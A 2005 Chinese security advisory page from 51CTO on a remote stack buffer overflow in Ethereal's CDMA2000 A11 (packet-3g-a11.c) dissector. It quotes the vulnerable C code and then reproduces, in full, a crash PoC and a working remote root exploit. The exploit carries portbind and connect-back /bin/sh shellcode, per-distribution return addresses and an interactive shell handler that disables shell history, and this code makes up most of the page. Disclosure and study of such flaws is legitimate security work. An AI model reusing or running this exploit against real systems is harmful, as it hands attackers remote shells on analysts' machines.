频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

Ethereal CDMA2000 A11报文处理模块远程缓冲区溢出漏洞

作者: 出处:51CTO.COM  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-08-10 10:35
关 键 词:漏洞  CD
阅读提示:溢出错误##其它##注意防范

信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

溢出错误

攻击类型:

其它

发布日期:

2005-03-09

更新日期:

2005-03-09

受影响系统:

Ethereal Group Ethereal 0.10.9
Ethereal Group Ethereal 0.10.8
Ethereal Group Ethereal 0.10.7
Ethereal Group Ethereal 0.10.6
Ethereal Group Ethereal 0.10.5
Ethereal Group Ethereal 0.10.4
Ethereal Group Ethereal 0.10.3
Ethereal Group Ethereal 0.10.2
Ethereal Group Ethereal 0.10.1
Ethereal Group Ethereal 0.10

安全系统:

漏洞报告人:

LSS Security (exposed@lss.hr

漏洞描述:

Ethereal是很多网络专业人员都在使用的网络协议分析器,可以用来分析网络的运行状况,支持几乎所有协议。
Ethereal的CDMA2000 A11报文处理模块中存在远程缓冲区漏洞。漏洞存在于RADIUS认证模块所使用的packet-3g-a11.c的dissect_a11_radius()函数中。从报文拷贝到栈中缓冲区的字节数是从报文本身获取的。该缓冲区保留了16字节,但字符串长度最高可达256字节(无符字符型),因此攻击者可能溢出本地变量和返回地址。
packet-3g-a11.c:
----------------
#define MAX_STRVAL 16
...
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
{
...
size_t     radius_len;
...
guchar     str_val[MAX_STRVAL];
...
radius_len = tvb_get_guint8(tvb, offset + 1);
...
strncpy(str_val, tvb_get_ptr(tvb,offset+2,radius_len-2), radius_len-2);
...
}
----------------
在下面几行的同一个函数中也发现了类似的漏洞。该函数将RADIUS属性拷贝至栈。
packet-3g-a11.c:
----------------
#define MAX_STRVAL 16
...
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int app_len)
{
...
guint      attribute_len;
...
guchar     str_val[MAX_STRVAL];
...
attribute_len = tvb_get_guint8(tvb, offset + radius_offset + 1);
...
case ATTR_TYPE_STR:
strncpy(str_val,tvb_get_ptr(tvb,offset+radius_offset+2,attribute_len - 2),
attribute_len - 2);
...
}
----------------

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

["eth0day.c" (text/plain)]
/*
*
* Ethereal 3G-A11 remote buffer overflow PoC exploit
* --------------------------------------------------
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security <http://security.lss.hr/en/>
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
main (int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
unsigned char buf[1024];
char bla[200];
sock=socket(AF_INET,SOCK_DGRAM,0);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(699);
buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150;   // len for overflow...play with this value if it doesn't work
memset (bla,'B',200);
strncpy (buf+32,bla,180);

sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}
/*
* Ethereal 0.10.9 and below proof-of-concept remote root exploit
* (c) 2005 Diego Giagio <dgiagio irion com br>
*
* The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack overflow
* vulnerability when decoding Airlink records. This vulnerability was also
* discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
* contacted.
*
*
* Notes:
*
* This program has only been tested on Linux.
*
* If your system isn't on the target list and you are running Linux (x86), you
* can easily find your system's ret address. See below:
*
* First you need to force Ethereal dump a core file.
* bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p 65535
*
* Then, use the script below to find the ret address from the core file:
* --snip--
* #!/bin/sh
*
* ADDR=`objdump -D -s core | * grep "90909090 90909090 90909090 90909090" | * head
-2 | tail -1 | awk '{print 0x$1}'`
* echo "Address: 0x$ADDR"
* --snip--
*
* Use that address with the -a <address> option. Good luck.
*
*
* Greets:
*
* ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
* surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
*
* #buffer ircs ircsnet net
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
/*
* portbind, execve /bin/sh linux shellcode by BreeZe <breeze binbash org>
*/
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";
/*
* connectback, execve /bin/sh linux shellcode by BreeZe <breeze binbash org>
* slighty modified by Diego Giagio <dgiagio irion com br>
*/
char sc_connectback[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";
typedef enum
{
SC_NULL = -1,
SC_PORTBIND = 1,
SC_CONNECTBACK = 2
} shellcode_type_t;
struct shellcode_t
{
int id;
shellcode_type_t type;
char *desc;
char *data;
int host_offset;
int port_offset;
};
struct shellcode_t shellcode_list[] =
{
{1, SC_PORTBIND, "portbind", sc_portbind, -1, 33},
{2, SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
{-1, SC_NULL, NULL, NULL, -1, -1}
};
struct target_t
{
int id;
char *desc;
long addr;
};
struct target_t target_list[] =
{
{1, "Slackware 10.1 - ethereal 0.10.9 from source", 0x0812d110},
{2, "Slackware 10.1 - tethereal 0.10.9 from source", 0x081f30d0},
{3, "Fedora Core 3 - ethereal 0.10.9 from rpm", 0x08117a80},
{4, "Fedora Core 3 - tethereal 0.10.9 from rpm", 0x08690ac0},
{4, "Gentoo 2004.3 - tethereal 0.10.9 from portage", 0x081c3d90},
{-1, NULL, -1}
};
#define PROTO_3G_A11_PORT 699
char proto_3g_a11_begin[] =
"\x01" // a11 message type - registration request
"\x0a" // flags
"\xff\xff" // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26" // ext type - CVSE_EXT
"\x00" // nada
"\xff\xff" // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01" // vse apptype 0x0101
;
char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;
char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;
static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
int i;
for (i=0; shellcode_list[i].id != -1; i++)
{
if (shellcode_list[i].id == id)
{
*sc = &shellcode_list[i];
return 0;
}
}
return -1;
}
static int
find_target_by_id (int id, struct target_t **target)
{
int i;
for (i=0; target_list[i].id != -1; i++)
{
if (target_list[i].id == id)
{
*target = &target_list[i];
return 0;
}
}
return -1;
}
int
parse_ip (const char *ipstr, long *ip)
{
int a, b, c, d;
if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
return -1;
*ip = (d & 0x000000ff);
*ip |= (c & 0x000000ff) << 8;
*ip |= (b & 0x000000ff) << 16;
*ip |= (a & 0x000000ff) << 24;
return 0;
}
static int
sock_create (int type, int proto)
{
struct linger l;
int sock;
int sockopt;
int ret;
sock = socket (type, proto, 0);
if (sock < 0)
return -1;
l.l_onoff = 1;
l.l_linger = 0;
ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
if (ret < 0)
{
close (sock);
return -2;
}
sockopt = 1;
ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
sizeof (sockopt));
if (ret < 0)
{
close (sock);
return -3;
}
return sock;
}
static int
sock_udp_create (void)
{
return sock_create (AF_INET, SOCK_DGRAM);
}
static int
sock_tcp_create (void)
{
return sock_create (AF_INET, SOCK_STREAM);
}
static int
sock_connect (int sock, long host, int port)
{
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);
if (connect (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;
return sock;
}
static int
sock_bind (int sock, long host, int port)
{
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);
if (bind (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;
if (listen (sock, 1) < 0)
return -1;
}
static int
sock_accept (int sock)
{
fd_set fds;
struct sockaddr_in addr;
struct timeval tv;
int new_sock;
int ret;
FD_ZERO (&fds);
FD_SET (sock, &fds);
tv.tv_sec = 10;
tv.tv_usec = 0;
ret = select (sock + 1, &fds, NULL, NULL, &tv);
if (ret < 0)
return -1;
if (ret == 0)
{
errno = ETIMEDOUT;
return -1;
}
if (FD_ISSET (sock, &fds))
{
int i = sizeof (addr);
new_sock = accept (sock, (struct sockaddr *)&addr, &i);
if (new_sock < 0)
return -1;
return new_sock;
}
return -1;
}
static void
sock_disconnect (int sock)
{
close (sock);
}
static int
sock_send_payload (long dest, int port, char *packet, int packet_len)
{
int sock;
/* create udp socket */
sock = sock_udp_create ();
if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0)
return -1;
/* send packet */
send (sock, packet, packet_len, 0);
printf ("[-] UDP packet sent (%d bytes).\n", packet_len);
fflush (stdout);
/* disconnect socket */
sock_disconnect (sock);
return 0;
}
static void
shell (int sock)
{
fd_set fds;
char *cmd = "unset HISTFILE; /bin/uname -a; /usr/bin/id\n";
char buf [2048];
int n;
printf ("[-] Enjoy your shell\n");
printf ("\n");
send (sock, cmd, strlen (cmd), 0);
while (1)
{
FD_ZERO (&fds);
FD_SET (sock, &fds); /* socket */
FD_SET (0, &fds); /* stdin */
if (select (sock + 1, &fds, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock, &fds))
{
if ((n = recv (sock, buf, sizeof (buf), 0)) < 0)
{
perror ("[-] shell(): error reading from socket: recv()");
return;
}
if (n == 0)
break;
if ((write (1, buf, n)) < 0)
{
perror ("[-] shell(): error writing to stdout: write()");
return;
}
}
if (FD_ISSET (0, &fds))
{
if ((n = read (0, buf, sizeof (buf))) < 0)
{
perror ("[-] shell(): error reading from stdin: read()");
return;
}
if ((send (sock, buf, n, 0)) < 0)
{
perror ("[-] shell(): error writing to socket: send()");
return;
}
if (n == 0)
break;
}
}
printf ("[-] Connection closed.\n");
}
static void
shell_portbind (long dest, int port, char *packet, int packet_len)
{
int sock;
if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}
sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}
printf ("[-] Delaying 3 seconds before connection attempt (portbind).");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf ("\n");
if (sock_connect (sock, dest, port) < 0)
{
perror ("[-] Unable to connect");
return;
}
shell (sock);
sock_disconnect (sock);
}
static void
shell_connectback (long host, int port, long dest,
char *packet, int packet_len)
{
int sock;
int new_sock;
sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}
/* we bind before sending the payload to avoid not being
* listening when the connectback shellcode tries to connect
*/
if (sock_bind (sock, host, port) < 0)
{
perror ("[-] Unable to bind/listen");
return;
}
if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}
printf ("[-] Waiting 10s for incoming connection (connectback)...\n");
fflush (stdout);
new_sock = sock_accept (sock);
if (new_sock < 0)
{
perror ("[-] Unable to accept connection");
return;
}
sock_disconnect (sock);
shell (new_sock);
sock_disconnect (new_sock);
}
static void
prog_info (void)
{
printf ("Ethereal 0.10.9 and below proof-of-concept remote exploit.\n");
printf ("(c) 2005 Diego Giagio <dgiagio irion com br>\n");
printf ("\n");
}
static void
usage (const char *prog)
{
int i;
prog_info ();
printf ("Usage:\n");
printf (" [-] %s -t <target> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n"
" [-] %s -a <addr> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n", prog, prog);
printf ("\n");
printf ("Target:\n");
for (i=0; target_list[i].id != -1; i++)
{
printf (" [-] %d. %s, addr: 0x%x\n",
target_list[i].id, target_list[i].desc, target_list[i].addr);
}
printf ("\n");
printf ("Shellcode:\n");
for (i=0; shellcode_list[i].id != -1; i++)
{
printf (" [-] %d. %s\n",
shellcode_list[i].id,
shellcode_list[i].desc);
}
printf ("\n");
printf ("Info:\n");
printf (" [-] 1. When using connectback shellcode, you must specify\n");
printf (" [-] the host to receive the connection (-h).\n");
printf ("\n");
printf (" [-] 2. When using portbind shellcode, the option (-h) will \n");
printf (" [-] have no effect.\n");
printf ("\n");
}
int
main (int argc, char *argv[])
{
struct target_t *target = NULL;
struct shellcode_t *shellcode = NULL;
int shellcode_len;
long dest = 0;
long host = 0;
int port = 0;
long addr = 0;
int opt;
int opt_err = 0;
int i;
char *ptr_pkt;
char pkt[1500];
int pkt_len;
while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF)
{
switch (opt)
{
case 't': /* target id */
if (find_target_by_id (atoi (optarg), &target) < 0)
{
printf ("Not a valid target id.\n");
opt_err ++;
}
break;
case 's': /* shellcode id */
if (find_shellcode_by_id (atoi (optarg), &shellcode) < 0)
{
printf ("Not a valid shellcode id.\n");
opt_err ++;
}
break;
case 'd': /* destination */
if (parse_ip (optarg, &dest) < 0)
{
printf ("Invalid address for destination.\n");
opt_err ++;
}
break;
case 'h': /* host for connectback */
if (parse_ip (optarg, &host) < 0)
{
printf ("Invalid address for host.\n");
opt_err ++;
}
break;
case 'p': /* port for connectback or portbind */
port = atoi (optarg);
if (port < 0 || port > 65535)
{
printf ("Invalid port.\n");
opt_err ++;
}
break;
case 'a': /* ret address */
if (sscanf (optarg, "0x%x", &addr) != 1)
{
printf ("Invalid address.\n");
opt_err ++;
}
break;
case '?':
default:
usage (argv[0]);
opt_err ++;
break;
}
}
if (opt_err != 0)
return -1;
if (argc < 2)
{
usage (argv[0]);
return 0;
}
if (target == NULL && addr == 0)
{
printf ("Please choose either a target (-t) or an address (-a).\n");
return -1;
}
if (target != NULL && addr != 0)
{
printf ("Target (-t) and address (-a) cannot be used together.\n");
return -1;
}
addr = target != NULL ? target->addr : addr;
if (shellcode == NULL)
{
printf ("Please choose a shellcode (-s).\n");
return -1;
}
shellcode_len = strlen (shellcode->data);
if (dest == 0)
{
printf ("Please choose a destination (-d).\n");
return -1;
}
if (shellcode->host_offset != -1)
{
char *ptr;
if (host == 0)
{
printf ("Please choose a host (-h).\n");
return -1;
}
ptr = shellcode->data + shellcode->host_offset;
*(ptr++) = (host & 0xff000000) >> 24;
*(ptr++) = (host & 0x00ff0000) >> 16;
*(ptr++) = (host & 0x0000ff00) >> 8;
*(ptr++) = (host & 0x000000ff);
}
if (shellcode->port_offset != -1)
{
char *ptr;
if (port == 0)
{
printf ("Please choose a port (-p).\n");
return -1;
}
ptr = shellcode->data + shellcode->port_offset;
*(ptr++) = (port & 0xff00) >> 8;
*(ptr++) = (port & 0x00ff);
}
/* copyright */
prog_info ();
/* some info */
printf ("[-] Using addr 0x%x\n", addr);
fflush (stdout);
/* build packet */
ptr_pkt = pkt;
memcpy (ptr_pkt, proto_3g_a11_begin,
sizeof (proto_3g_a11_begin));
ptr_pkt += sizeof (proto_3g_a11_begin) - 1;
memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
sizeof (proto_3g_a11_before_shellcode));
ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;
/* shellcode */
memset (ptr_pkt, 0x90, 255);
ptr_pkt += 255 - shellcode_len - 2;
memcpy (ptr_pkt, shellcode->data, shellcode_len);
ptr_pkt += shellcode_len;
memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
sizeof (proto_3g_a11_before_retaddrs));
ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;
/* addrs */
for (i=0; i<254; i+=4)
{
ptr_pkt[i] = (addr & 0x000000ff);
ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
}
ptr_pkt += 254;
/* calc packet len */
pkt_len = ptr_pkt - pkt;
switch (shellcode->type)
{
case SC_PORTBIND:
shell_portbind (dest, port, pkt, pkt_len);
break;
case SC_CONNECTBACK:
shell_connectback (host, port, dest, pkt, pkt_len);
break;
default:
/* NOT REACHED */
break;
}
return 0;
}

解决方法:

厂商补丁:
Ethereal Group
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ethereal.com/

发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有